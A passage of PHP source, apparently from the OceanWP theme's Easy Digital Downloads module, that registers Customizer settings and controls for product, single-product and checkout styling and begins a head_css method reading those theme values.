*/ $wp_customize->add_setting( 'ocean_edd_top_border_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_edd_right_border_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_edd_bottom_border_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_edd_left_border_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_edd_tablet_top_border_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_edd_tablet_right_border_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_edd_tablet_bottom_border_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_edd_tablet_left_border_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_edd_mobile_top_border_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_edd_mobile_right_border_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_edd_mobile_bottom_border_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_edd_mobile_left_border_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new OceanWP_Customizer_Dimensions_Control( $wp_customize, 'ocean_edd_border_width', array( 'label' => esc_html__( 'Border Width (px)', 'oceanwp' ), 'section' => 'ocean_edd_styling', 'settings' => array( 'desktop_top' => 'ocean_edd_top_border_width', 'desktop_right' => 'ocean_edd_right_border_width', 'desktop_bottom' => 'ocean_edd_bottom_border_width', 'desktop_left' => 'ocean_edd_left_border_width', 'tablet_top' => 'ocean_edd_tablet_top_border_width', 'tablet_right' => 'ocean_edd_tablet_right_border_width', 'tablet_bottom' => 'ocean_edd_tablet_bottom_border_width', 'tablet_left' => 'ocean_edd_tablet_left_border_width', 'mobile_top' => 'ocean_edd_mobile_top_border_width', 'mobile_right' => 'ocean_edd_mobile_right_border_width', 'mobile_bottom' => 'ocean_edd_mobile_bottom_border_width', 'mobile_left' => 'ocean_edd_mobile_left_border_width', ), 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), ) ) ); /** * Product Border Radius */ $wp_customize->add_setting( 'ocean_edd_top_border_radius', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_edd_right_border_radius', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_edd_bottom_border_radius', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_edd_left_border_radius', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_edd_tablet_top_border_radius', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_edd_tablet_right_border_radius', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_edd_tablet_bottom_border_radius', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_edd_tablet_left_border_radius', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_edd_mobile_top_border_radius', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_edd_mobile_right_border_radius', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_edd_mobile_bottom_border_radius', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_edd_mobile_left_border_radius', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new OceanWP_Customizer_Dimensions_Control( $wp_customize, 'ocean_edd_border_radius', array( 'label' => esc_html__( 'Border Radius (px)', 'oceanwp' ), 'section' => 'ocean_edd_styling', 'settings' => array( 'desktop_top' => 'ocean_edd_top_border_radius', 'desktop_right' => 'ocean_edd_right_border_radius', 'desktop_bottom' => 'ocean_edd_bottom_border_radius', 'desktop_left' => 'ocean_edd_left_border_radius', 'tablet_top' => 'ocean_edd_tablet_top_border_radius', 'tablet_right' => 'ocean_edd_tablet_right_border_radius', 'tablet_bottom' => 'ocean_edd_tablet_bottom_border_radius', 'tablet_left' => 'ocean_edd_tablet_left_border_radius', 'mobile_top' => 'ocean_edd_mobile_top_border_radius', 'mobile_right' => 'ocean_edd_mobile_right_border_radius', 'mobile_bottom' => 'ocean_edd_mobile_bottom_border_radius', 'mobile_left' => 'ocean_edd_mobile_left_border_radius', ), 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 200, 'step' => 1, ), ) ) ); /** * Background Color */ $wp_customize->add_setting( 'ocean_edd_background_color', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_edd_background_color', array( 'label' => esc_html__( 'Background Color', 'oceanwp' ), 'section' => 'ocean_edd_styling', 'settings' => 'ocean_edd_background_color', 'priority' => 10, ) ) ); /** * Border Color */ $wp_customize->add_setting( 'ocean_edd_border_color', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_edd_border_color', array( 'label' => esc_html__( 'Border Color', 'oceanwp' ), 'section' => 'ocean_edd_styling', 'settings' => 'ocean_edd_border_color', 'priority' => 10, ) ) ); /** * Category Color */ $wp_customize->add_setting( 'ocean_edd_category_color', array( 'default' => '#999999', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_edd_category_color', array( 'label' => esc_html__( 'Category Color', 'oceanwp' ), 'section' => 'ocean_edd_styling', 'settings' => 'ocean_edd_category_color', 'priority' => 10, ) ) ); /** * Category Color Hover */ $wp_customize->add_setting( 'ocean_edd_category_color_hover', array( 'default' => '#13aff0', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_edd_category_color_hover', array( 'label' => esc_html__( 'Category Color: Hover', 'oceanwp' ), 'section' => 'ocean_edd_styling', 'settings' => 'ocean_edd_category_color_hover', 'priority' => 10, ) ) ); /** * Product Entry Title Color */ $wp_customize->add_setting( 'ocean_edd_title_color', array( 'default' => '#333333', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_edd_title_color', array( 'label' => esc_html__( 'Title Color', 'oceanwp' ), 'section' => 'ocean_edd_styling', 'settings' => 'ocean_edd_title_color', 'priority' => 10, ) ) ); /** * Product Entry Title Color Hover */ $wp_customize->add_setting( 'ocean_edd_title_color_hover', array( 'default' => '#13aff0', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_edd_title_color_hover', array( 'label' => esc_html__( 'Title Color: Hover', 'oceanwp' ), 'section' => 'ocean_edd_styling', 'settings' => 'ocean_edd_title_color_hover', 'priority' => 10, ) ) ); /** * Product Entry Price Color */ $wp_customize->add_setting( 'ocean_edd_entry_price_color', array( 'default' => '#57bf6d', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_edd_entry_price_color', array( 'label' => esc_html__( 'Price Color', 'oceanwp' ), 'section' => 'ocean_edd_styling', 'settings' => 'ocean_edd_entry_price_color', 'priority' => 10, ) ) ); /** * Heading Product Entry Add To Cart */ $wp_customize->add_setting( 'ocean_edd_entry_addtocart_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_edd_entry_addtocart_heading', array( 'label' => esc_html__( 'Product Entry: Add To Cart', 'oceanwp' ), 'section' => 'ocean_edd_styling', 'priority' => 10, ) ) ); /** * Product Entry Add To Cart Background Color */ $wp_customize->add_setting( 'ocean_edd_entry_addtocart_bg_color', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_edd_entry_addtocart_bg_color', array( 'label' => esc_html__( 'Add To Cart Background Color', 'oceanwp' ), 'section' => 'ocean_edd_styling', 'settings' => 'ocean_edd_entry_addtocart_bg_color', 'priority' => 10, ) ) ); /** * Product Entry Add To Cart Background Color Hover */ $wp_customize->add_setting( 'ocean_edd_entry_addtocart_bg_color_hover', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_edd_entry_addtocart_bg_color_hover', array( 'label' => esc_html__( 'Add To Cart Background Color: Hover', 'oceanwp' ), 'section' => 'ocean_edd_styling', 'settings' => 'ocean_edd_entry_addtocart_bg_color_hover', 'priority' => 10, ) ) ); /** * Product Entry Add To Cart Color */ $wp_customize->add_setting( 'ocean_edd_entry_addtocart_color', array( 'default' => '#848494', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_edd_entry_addtocart_color', array( 'label' => esc_html__( 'Add To Cart Color', 'oceanwp' ), 'section' => 'ocean_edd_styling', 'settings' => 'ocean_edd_entry_addtocart_color', 'priority' => 10, ) ) ); /** * Product Entry Add To Cart Color Hover */ $wp_customize->add_setting( 'ocean_edd_entry_addtocart_color_hover', array( 'default' => '#13aff0', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_edd_entry_addtocart_color_hover', array( 'label' => esc_html__( 'Add To Cart Color: Hover', 'oceanwp' ), 'section' => 'ocean_edd_styling', 'settings' => 'ocean_edd_entry_addtocart_color_hover', 'priority' => 10, ) ) ); /** * Product Entry Add To Cart Border Color */ $wp_customize->add_setting( 'ocean_edd_entry_addtocart_border_color', array( 'default' => '#e4e4e4', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_edd_entry_addtocart_border_color', array( 'label' => esc_html__( 'Add To Cart Border Color', 'oceanwp' ), 'section' => 'ocean_edd_styling', 'settings' => 'ocean_edd_entry_addtocart_border_color', 'priority' => 10, ) ) ); /** * Product Entry Add To Cart Border Color Hover */ $wp_customize->add_setting( 'ocean_edd_entry_addtocart_border_color_hover', array( 'default' => '#13aff0', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_edd_entry_addtocart_border_color_hover', array( 'label' => esc_html__( 'Add To Cart Border Color: Hover', 'oceanwp' ), 'section' => 'ocean_edd_styling', 'settings' => 'ocean_edd_entry_addtocart_border_color_hover', 'priority' => 10, ) ) ); /** * Product Entry Add To Cart Border Style */ $wp_customize->add_setting( 'ocean_edd_entry_addtocart_border_style', array( 'default' => 'double', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_edd_entry_addtocart_border_style', array( 'label' => esc_html__( 'Add To Cart Border: Style', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_edd_styling', 'settings' => 'ocean_edd_entry_addtocart_border_style', 'priority' => 10, 'choices' => array( 'none' => esc_html__( 'None', 'oceanwp' ), 'solid' => esc_html__( 'Solid', 'oceanwp' ), 'double' => esc_html__( 'Double', 'oceanwp' ), 'dashed' => esc_html__( 'Dashed', 'oceanwp' ), 'dotted' => esc_html__( 'Dotted', 'oceanwp' ), ), ) ) ); /** * Product Entry Add To Cart Border Size */ $wp_customize->add_setting( 'ocean_edd_entry_addtocart_border_size', array( 'transport' => 'postMessage', 'sanitize_callback' => 'wp_kses_post', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_edd_entry_addtocart_border_size', array( 'label' => esc_html__( 'Add To Cart Border: Size', 'oceanwp' ), 'description' => esc_html__( 'Add a custom border size. px - em - %.', 'oceanwp' ), 'type' => 'text', 'section' => 'ocean_edd_styling', 'settings' => 'ocean_edd_entry_addtocart_border_size', 'priority' => 10, ) ) ); /** * Product Entry Add To Cart Border Radius */ $wp_customize->add_setting( 'ocean_edd_entry_addtocart_border_radius', array( 'transport' => 'postMessage', 'sanitize_callback' => 'wp_kses_post', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_edd_entry_addtocart_border_radius', array( 'label' => esc_html__( 'Add To Cart Border: Radius', 'oceanwp' ), 'description' => esc_html__( 'Add a custom border radius. px - em - %.', 'oceanwp' ), 'type' => 'text', 'section' => 'ocean_edd_styling', 'settings' => 'ocean_edd_entry_addtocart_border_radius', 'priority' => 10, ) ) ); /** * Heading Single Product */ $wp_customize->add_setting( 'ocean_single_edd_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_single_edd_heading', array( 'label' => esc_html__( 'Single Product', 'oceanwp' ), 'section' => 'ocean_edd_styling', 'priority' => 10, ) ) ); /** * Single Product Title Color */ $wp_customize->add_setting( 'ocean_single_edd_title_color', array( 'default' => '#333333', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_single_edd_title_color', array( 'label' => esc_html__( 'Title Color', 'oceanwp' ), 'section' => 'ocean_edd_styling', 'settings' => 'ocean_single_edd_title_color', 'priority' => 10, ) ) ); /** * Single Product Description Color */ $wp_customize->add_setting( 'ocean_single_edd_description_color', array( 'default' => '#aaaaaa', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_single_edd_description_color', array( 'label' => esc_html__( 'Description Color', 'oceanwp' ), 'section' => 'ocean_edd_styling', 'settings' => 'ocean_single_edd_description_color', 'priority' => 10, ) ) ); /** * Heading Checkout */ $wp_customize->add_setting( 'ocean_checkout_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_checkout_heading', array( 'label' => esc_html__( 'Checkout', 'oceanwp' ), 'section' => 'ocean_edd_styling', 'priority' => 10, ) ) ); /** * Titles Color */ $wp_customize->add_setting( 'ocean_edd_checkout_titles_color', array( 'default' => '#222', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_edd_checkout_titles_color', array( 'label' => esc_html__( 'Titles Color', 'oceanwp' ), 'section' => 'ocean_edd_styling', 'settings' => 'ocean_edd_checkout_titles_color', 'priority' => 10, ) ) ); /** * Titles Border Bottom Color */ $wp_customize->add_setting( 'ocean_edd_checkout_titles_border_bottom_color', array( 'default' => '#e5e5e5', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_edd_checkout_titles_border_bottom_color', array( 'label' => esc_html__( 'Titles Border Bottom Color', 'oceanwp' ), 'section' => 'ocean_edd_styling', 'settings' => 'ocean_edd_checkout_titles_border_bottom_color', 'priority' => 10, ) ) ); /** * Borders Color */ $wp_customize->add_setting( 'ocean_edd_checkout_borders_color', array( 'default' => '#eee', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_edd_checkout_borders_color', array( 'label' => esc_html__( 'Borders Color', 'oceanwp' ), 'section' => 'ocean_edd_styling', 'settings' => 'ocean_edd_checkout_borders_color', 'priority' => 10, ) ) ); /** * Label Color */ $wp_customize->add_setting( 'ocean_edd_checkout_label_color', array( 'default' => '#929292', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_edd_checkout_label_color', array( 'label' => esc_html__( 'Label Color', 'oceanwp' ), 'section' => 'ocean_edd_styling', 'settings' => 'ocean_edd_checkout_label_color', 'priority' => 10, ) ) ); /** * Description Color */ $wp_customize->add_setting( 'ocean_edd_checkout_description_color', array( 'default' => '#666', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_edd_checkout_description_color', array( 'label' => esc_html__( 'Description Color', 'oceanwp' ), 'section' => 'ocean_edd_styling', 'settings' => 'ocean_edd_checkout_description_color', 'priority' => 10, ) ) ); /** * Head Background */ $wp_customize->add_setting( 'ocean_edd_checkout_head_bg', array( 'default' => '#fafafa', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_edd_checkout_head_bg', array( 'label' => esc_html__( 'Head Background', 'oceanwp' ), 'section' => 'ocean_edd_styling', 'settings' => 'ocean_edd_checkout_head_bg', 'priority' => 10, ) ) ); /** * Head Titles Color */ $wp_customize->add_setting( 'ocean_edd_checkout_head_titles_color', array( 'default' => '#666', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_edd_checkout_head_titles_color', array( 'label' => esc_html__( 'Head Titles Color', 'oceanwp' ), 'section' => 'ocean_edd_styling', 'settings' => 'ocean_edd_checkout_head_titles_color', 'priority' => 10, ) ) ); /** * Cart Totals Table Titles Color */ $wp_customize->add_setting( 'ocean_edd_checkout_totals_table_titles_color', array( 'default' => '#666', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_edd_checkout_totals_table_titles_color', array( 'label' => esc_html__( 'Cart Totals Table: Titles Color', 'oceanwp' ), 'section' => 'ocean_edd_styling', 'settings' => 'ocean_edd_checkout_totals_table_titles_color', 'priority' => 10, ) ) ); /** * Remove Button Color */ $wp_customize->add_setting( 'ocean_edd_checkout_remove_button_color', array( 'default' => '#333', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_edd_checkout_remove_button_color', array( 'label' => esc_html__( 'Remove Button Color', 'oceanwp' ), 'section' => 'ocean_edd_styling', 'settings' => 'ocean_edd_checkout_remove_button_color', 'priority' => 10, ) ) ); /** * Remove Button Color Hover */ $wp_customize->add_setting( 'ocean_edd_checkout_remove_button_color_hover', array( 'default' => '#13aff0', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_edd_checkout_remove_button_color_hover', array( 'label' => esc_html__( 'Remove Button Color: Hover', 'oceanwp' ), 'section' => 'ocean_edd_styling', 'settings' => 'ocean_edd_checkout_remove_button_color_hover', 'priority' => 10, ) ) ); } /** * Get CSS * * @param obj $output css output. * @since 1.0.0 */ public static function head_css( $output ) { // Global vars. $menu_icon_size = get_theme_mod( 'ocean_edd_menu_icon_size' ); $menu_icon_size_tablet = get_theme_mod( 'ocean_edd_menu_icon_size_tablet' ); $menu_icon_size_mobile = get_theme_mod( 'ocean_edd_menu_icon_size_mobile' ); $menu_icon_center_vertically = get_theme_mod( 'ocean_edd_menu_icon_center_vertically' ); $menu_icon_center_vertically_tablet = get_theme_mod( 'ocean_edd_menu_icon_center_vertically_tablet' ); $menu_icon_center_vertically_mobile = get_theme_mod( 'ocean_edd_menu_icon_center_vertically_mobile' ); $cart_dropdown_width = get_theme_mod( 'ocean_edd_cart_dropdown_width', '350' ); $edd_menu_bag_icon_color = get_theme_mod( 'ocean_edd_menu_bag_icon_color', '#333333' ); $edd_menu_bag_icon_hover_color = get_theme_mod( 'ocean_edd_menu_bag_icon_hover_color', '#13aff0' ); $edd_menu_bag_icon_count_color = get_theme_mod( 'ocean_edd_menu_bag_icon_count_color', '#333333' ); $edd_menu_bag_icon_hover_count_color = get_theme_mod( 'ocean_edd_menu_bag_icon_hover_count_color', '#ffffff' ); $cart_dropdown_bg = get_theme_mod( 'ocean_edd_cart_dropdown_bg', '#ffffff' ); $cart_dropdown_borders = get_theme_mod( 'ocean_edd_cart_dropdown_borders', '#e6e6e6' ); $cart_dropdown_title_color = get_theme_mod( 'ocean_edd_cart_dropdown_title_color' ); $cart_dropdown_price_color = get_theme_mod( 'ocean_edd_cart_dropdown_price_color', '#57bf6d' ); $cart_dropdown_remove_link_color = get_theme_mod( 'ocean_edd_cart_dropdown_remove_link_color', '#b3b3b3' ); $cart_dropdown_remove_link_color_hover = get_theme_mod( 'ocean_edd_cart_dropdown_remove_link_color_hover', '#13aff0' ); $cart_dropdown_subtotal_bg = get_theme_mod( 'ocean_edd_cart_dropdown_subtotal_bg', '#fafafa' ); $cart_dropdown_subtotal_border_color = get_theme_mod( 'ocean_edd_cart_dropdown_subtotal_border_color', '#e6e6e6' ); $cart_dropdown_subtotal_color = get_theme_mod( 'ocean_edd_cart_dropdown_subtotal_color', '#797979' ); $cart_dropdown_total_price_color = get_theme_mod( 'ocean_edd_cart_dropdown_total_price_color', '#57bf6d' ); $cart_dropdown_checkout_button_bg = get_theme_mod( 'ocean_edd_cart_dropdown_checkout_button_bg' ); $cart_dropdown_checkout_button_hover_bg = get_theme_mod( 'ocean_edd_cart_dropdown_checkout_button_bg_hover' ); $cart_dropdown_checkout_button_color = get_theme_mod( 'ocean_edd_cart_dropdown_checkout_button_color' ); $cart_dropdown_checkout_button_hover_color = get_theme_mod( 'ocean_edd_cart_dropdown_checkout_button_hover_color' ); // Styling vars. $edd_top_padding = get_theme_mod( 'ocean_edd_top_padding' ); $edd_right_padding = get_theme_mod( 'ocean_edd_right_padding' ); $edd_bottom_padding = get_theme_mod( 'ocean_edd_bottom_padding' ); $edd_left_padding = get_theme_mod( 'ocean_edd_left_padding' ); $tablet_edd_top_padding = get_theme_mod( 'ocean_edd_tablet_top_padding' ); $tablet_edd_right_padding = get_theme_mod( 'ocean_edd_tablet_right_padding' ); $tablet_edd_bottom_padding = get_theme_mod( 'ocean_edd_tablet_bottom_padding' ); $tablet_edd_left_padding = get_theme_mod( 'ocean_edd_tablet_left_padding' ); $mobile_edd_top_padding = get_theme_mod( 'ocean_edd_mobile_top_padding' ); $mobile_edd_right_padding = get_theme_mod( 'ocean_edd_mobile_right_padding' ); $mobile_edd_bottom_padding = get_theme_mod( 'ocean_edd_mobile_bottom_padding' ); $mobile_edd_left_padding = get_theme_mod( 'ocean_edd_mobile_left_padding' ); $edd_image_top_margin = get_theme_mod( 'ocean_edd_image_top_margin' ); $edd_image_right_margin = get_theme_mod( 'ocean_edd_image_right_margin' ); $edd_image_bottom_margin = get_theme_mod( 'ocean_edd_image_bottom_margin' ); $edd_image_left_margin = get_theme_mod( 'ocean_edd_image_left_margin' ); $tablet_edd_image_top_margin = get_theme_mod( 'ocean_edd_image_tablet_top_margin' ); $tablet_edd_image_right_margin = get_theme_mod( 'ocean_edd_image_tablet_right_margin' ); $tablet_edd_image_bottom_margin = get_theme_mod( 'ocean_edd_image_tablet_bottom_margin' ); $tablet_edd_image_left_margin = get_theme_mod( 'ocean_edd_image_tablet_left_margin' ); $mobile_edd_image_top_margin = get_theme_mod( 'ocean_edd_image_mobile_top_margin' ); $mobile_edd_image_right_margin = get_theme_mod( 'ocean_edd_image_mobile_right_margin' ); $mobile_edd_image_bottom_margin = get_theme_mod( 'ocean_edd_image_mobile_bottom_margin' ); $mobile_edd_image_left_margin = get_theme_mod( 'ocean_edd_image_mobile_left_margin' ); $edd_top_border_width = get_theme_mod( 'ocean_edd_top_border_width' ); $edd_right_border_width = get_theme_mod( 'ocean_edd_right_border_width' ); $edd_bottom_border_width = get_theme_mod( 'ocean_edd_bottom_border_width' ); $edd_left_border_width = get_theme_mod( 'ocean_edd_left_border_width' ); $tablet_edd_top_border_width = get_theme_mod( 'ocean_edd_tablet_top_border_width' ); $tablet_edd_right_border_width = get_theme_mod( 'ocean_edd_tablet_right_border_width' ); $tablet_edd_bottom_border_width = get_theme_mod( 'ocean_edd_tablet_bottom_border_width' ); $tablet_edd_left_border_width = get_theme_mod( 'ocean_edd_tablet_left_border_width' ); $mobile_edd_top_border_width = get_theme_mod( 'ocean_edd_mobile_top_border_width' ); $mobile_edd_right_border_width = get_theme_mod( 'ocean_edd_mobile_right_border_width' ); $mobile_edd_bottom_border_width = get_theme_mod( 'ocean_edd_mobile_bottom_border_width' ); $mobile_edd_left_border_width = get_theme_mod( 'ocean_edd_mobile_left_border_width' ); $edd_top_border_radius = get_theme_mod( 'ocean_edd_top_border_radius' ); $edd_right_border_radius = get_theme_mod( 'ocean_edd_right_border_radius' ); $edd_bottom_border_radius = get_theme_mod( 'ocean_edd_bottom_border_radius' ); $edd_left_border_radius = get_theme_mod( 'ocean_edd_left_border_radius' ); $tablet_edd_top_border_radius = get_theme_mod( 'ocean_edd_tablet_top_border_radius' ); $tablet_edd_right_border_radius = get_theme_mod( 'ocean_edd_tablet_right_border_radius' ); $tablet_edd_bottom_border_radius = get_theme_mod( 'ocean_edd_tablet_bottom_border_radius' ); $tablet_edd_left_border_radius = get_theme_mod( 'ocean_edd_tablet_left_border_radius' ); $mobile_edd_top_border_radius = get_theme_mod( 'ocean_edd_mobile_top_border_radius' ); $mobile_edd_right_border_radius = get_theme_mod( 'ocean_edd_mobile_right_border_radius' ); $mobile_edd_bottom_border_radius = get_theme_mod( 'ocean_edd_mobile_bottom_border_radius' ); $mobile_edd_left_border_radius = get_theme_mod( 'ocean_edd_mobile_left_border_radius' ); $edd_background_color = get_theme_mod( 'ocean_edd_background_color' ); $edd_border_color = get_theme_mod( 'ocean_edd_border_color' ); $category_color = get_theme_mod( 'ocean_edd_category_color', '#999999' ); $category_color_hover = get_theme_mod( 'ocean_edd_category_color_hover', '#13aff0' ); $edd_title_color = get_theme_mod( 'ocean_edd_title_color', '#333333' ); $edd_title_color_hover = get_theme_mod( 'ocean_edd_title_color_hover', '#13aff0' ); $edd_entry_price_color = get_theme_mod( 'ocean_edd_entry_price_color', '#57bf6d' ); $edd_entry_addtocart_bg_color = get_theme_mod( 'ocean_edd_entry_addtocart_bg_color' ); $edd_entry_addtocart_bg_color_hover = get_theme_mod( 'ocean_edd_entry_addtocart_bg_color_hover' ); $edd_entry_addtocart_color = get_theme_mod( 'ocean_edd_entry_addtocart_color', '#848494' ); $edd_entry_addtocart_color_hover = get_theme_mod( 'ocean_edd_entry_addtocart_color_hover', '#13aff0' ); $edd_entry_addtocart_border_color = get_theme_mod( 'ocean_edd_entry_addtocart_border_color', '#e4e4e4' ); $edd_entry_addtocart_border_color_hover = get_theme_mod( 'ocean_edd_entry_addtocart_border_color_hover', '#13aff0' ); $edd_entry_addtocart_border_style = get_theme_mod( 'ocean_edd_entry_addtocart_border_style', 'double' ); $edd_entry_addtocart_border_size = get_theme_mod( 'ocean_edd_entry_addtocart_border_size' ); $edd_entry_addtocart_border_radius = get_theme_mod( 'ocean_edd_entry_addtocart_border_radius' ); $single_edd_title_color = get_theme_mod( 'ocean_single_edd_title_color', '#333333' ); $single_edd_description_color = get_theme_mod( 'ocean_single_edd_description_color', '#aaaaaa' ); // Checkout. $checkout_titles_color = get_theme_mod( 'ocean_edd_checkout_titles_color', '#222' ); $checkout_titles_border_bottom_color = get_theme_mod( 'ocean_edd_checkout_titles_border_bottom_color', '#e5e5e5' ); $checkout_borders_color = get_theme_mod( 'ocean_edd_checkout_borders_color', '#eee' ); $checkout_label_color = get_theme_mod( 'ocean_edd_checkout_label_color', '#929292' ); $checkout_description_color = get_theme_mod( 'ocean_edd_checkout_description_color', '#666' ); $checkout_head_bg = get_theme_mod( 'ocean_edd_checkout_head_bg', '#fafafa' ); $checkout_head_titles_color = get_theme_mod( 